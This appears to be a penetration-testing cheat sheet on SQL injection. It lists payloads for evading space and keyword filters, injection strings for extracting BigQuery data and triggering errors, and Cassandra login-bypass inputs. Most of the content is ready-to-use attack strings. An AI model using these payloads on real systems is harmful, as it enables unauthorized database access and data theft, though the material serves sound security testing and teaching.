SQL Injection

Some web applications attempt to secure their SQL queries by blocking or stripping space characters to prevent simple SQL injection attacks. However, attackers can bypass these filters by using alternative whitespace characters, comments, or creative use of parentheses.

Most databases interpret certain ASCII control characters and encoded spaces (such as tabs, newlines, etc.) as whitespace in SQL statements. By encoding these characters, attackers can often evade space-based filters. | Example Payload | Description | | ------------------------ | ------------------------------- | | `?id=1%09and%091=1%09--` | `%09` is tab (`\t`) | | `?id=1%0Aand%0A1=1%0A--` | `%0A` is line feed (`\n`) | | `?id=1%0Band%0B1=1%0B--` | `%0B` is vertical tab | | `?id=1%0Cand%0C1=1%0C--` | `%0C` is form feed | | `?id=1%0Dand%0D1=1%0D--` | `%0D` is carriage return (`\r`) | | `?id=1%A0and%A01=1%A0--` | `%A0` is non-breaking space | **ASCII Whitespace Support by Database**: | DBMS | Supported Whitespace Characters (Hex) | | ---------- | ------------------------------------------------- | | SQLite3 | 0A, 0D, 0C, 09, 20 | | MySQL 5 | 09, 0A, 0B, 0C, 0D, A0, 20 | | MySQL 3 | 01–1F, 20, 7F, 80, 81, 88, 8D, 8F, 90, 98, 9D, A0 | | PostgreSQL | 0A, 0D, 0C, 09, 20 | | Oracle 11g | 00, 0A, 0D, 0C, 09, 20 | | MSSQL | 01–1F, 20 |

SQL allows comments and grouping, which can break up keywords and queries, thus defeating space filters: | Bypass | Technique | | ----------------------------------------- | ------------------- | | `?id=1/*comment*/AND/**/1=1/**/--` | Comment | | `?id=1/*!12345UNION*//*!12345SELECT*/1--` | Conditional comment | | `?id=(1)and(1)=(1)--` | Parenthesis |

Bypass using `OFFSET`, `FROM` and `JOIN`. | Forbidden | Bypass | | ------------------- | ------------------------------------------------------------------------------------ | | `LIMIT 0,1` | `LIMIT 1 OFFSET 0` | | `SUBSTR('SQL',1,1)` | `SUBSTR('SQL' FROM 1 FOR 1)` | | `SELECT 1,2,3,4` | `UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d` |

Bypass using LIKE/NOT IN/IN/BETWEEN | Bypass | SQL Example | | --------- | ------------------------------------------ | | `LIKE` | `SUBSTRING(VERSION(),1,1)LIKE(5)` | | `NOT IN` | `SUBSTRING(VERSION(),1,1)NOT IN(4,3)` | | `IN` | `SUBSTRING(VERSION(),1,1)IN(4,3)` | | `BETWEEN` | `SUBSTRING(VERSION(),1,1) BETWEEN 3 AND 4` |

Bypass using uppercase/lowercase. | Bypass | Technique | | ------ | ---------- | | `AND` | Uppercase | | `and` | Lowercase | | `aNd` | Mixed case | Bypass using keywords case insensitive or an equivalent operator. | Forbidden | Bypass | | --------- | --------------------------- | | `AND` | `&&` | | `OR` | `\|\|` | | `=` | `LIKE`, `REGEXP`, `BETWEEN` | | `>` | `NOT BETWEEN 0 AND X` | | `WHERE` | `HAVING` |

> Google BigQuery SQL Injection is a type of security vulnerability where an attacker can execute arbitrary SQL queries on a Google BigQuery database by manipulating user inputs that are incorporated into SQL queries without proper sanitization. This can lead to unauthorized data access, data manipulation, or other malicious activities.

* Use a classic single quote to trigger an error: `'` * Identify BigQuery using backtick notation: ```SELECT .... FROM `` AS ...``` | SQL Query | Description | | ----------------------------------------------------- | ------------------------------------------------- | | `SELECT @@project_id` | Gathering project id | | `SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA` | Gathering all dataset names | | `select * from project_id.dataset_name.table_name` | Gathering data from specific project id & dataset |

| Type | Description | | -------------------------- | --------------- | | `#` | Hash comment | | `/* PostgreSQL Comment */` | C-style comment |

UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
true) GROUP BY column_name LIMIT 1 UNION ALL SELECT (SELECT 'asd'),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
true) GROUP BY column_name LIMIT 1 UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
' GROUP BY column_name UNION ALL SELECT column_name,1,1 FROM  (select column_name AS new_name from `project_id.dataset_name.table_name`) AS A GROUP BY column_name#

| SQL Query | Description | | -------------------------------------------------------- | ---------------- | | `' OR if(1/(length((select('a')))-1)=1,true,false) OR '` | Division by zero | | `select CAST(@@project_id AS INT64)` | Casting |

' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#

* Time based functions does not exist in the BigQuery syntax.

> Apache Cassandra is a free and open-source distributed wide column store NoSQL database management system.

* Cassandra is a non-relational database, so CQL doesn't support `JOIN` or `UNION` statements, which makes cross-table queries more challenging. * Additionally, Cassandra lacks convenient built-in functions like `DATABASE()` or `USER()` for retrieving database metadata. * Another limitation is the absence of the `OR` operator in CQL, which prevents creating always-true conditions; for instance, a query like `SELECT * FROM table WHERE col1='a' OR col2='b';` will be rejected. * Time-based SQL injections, which typically rely on functions like `SLEEP()` to introduce a delay, are also difficult to execute in CQL since it doesn’t include a `SLEEP()` function. * CQL does not allow subqueries or other nested statements, so a query like `SELECT * FROM table WHERE column=(SELECT column FROM table LIMIT 1);` would be rejected.

/* Cassandra Comment */

username: admin' ALLOW FILTERING; %00
password: ANY

username: admin'/*
password: */and pass>'

The injection would look like the following SQL query

SELECT * FROM users WHERE user = 'admin'/*' AND pass = '*/and pass>'' ALLOW FILTERING;

> IBM DB2 is a family of relational database management systems (RDBMS) developed by IBM. Originally created in the 1980s for mainframes, DB2 has evolved to support various platforms and workloads, including distributed systems, cloud environments, and hybrid deployments.

| Type | Description | | ---- | ----------- | | `--` | SQL comment |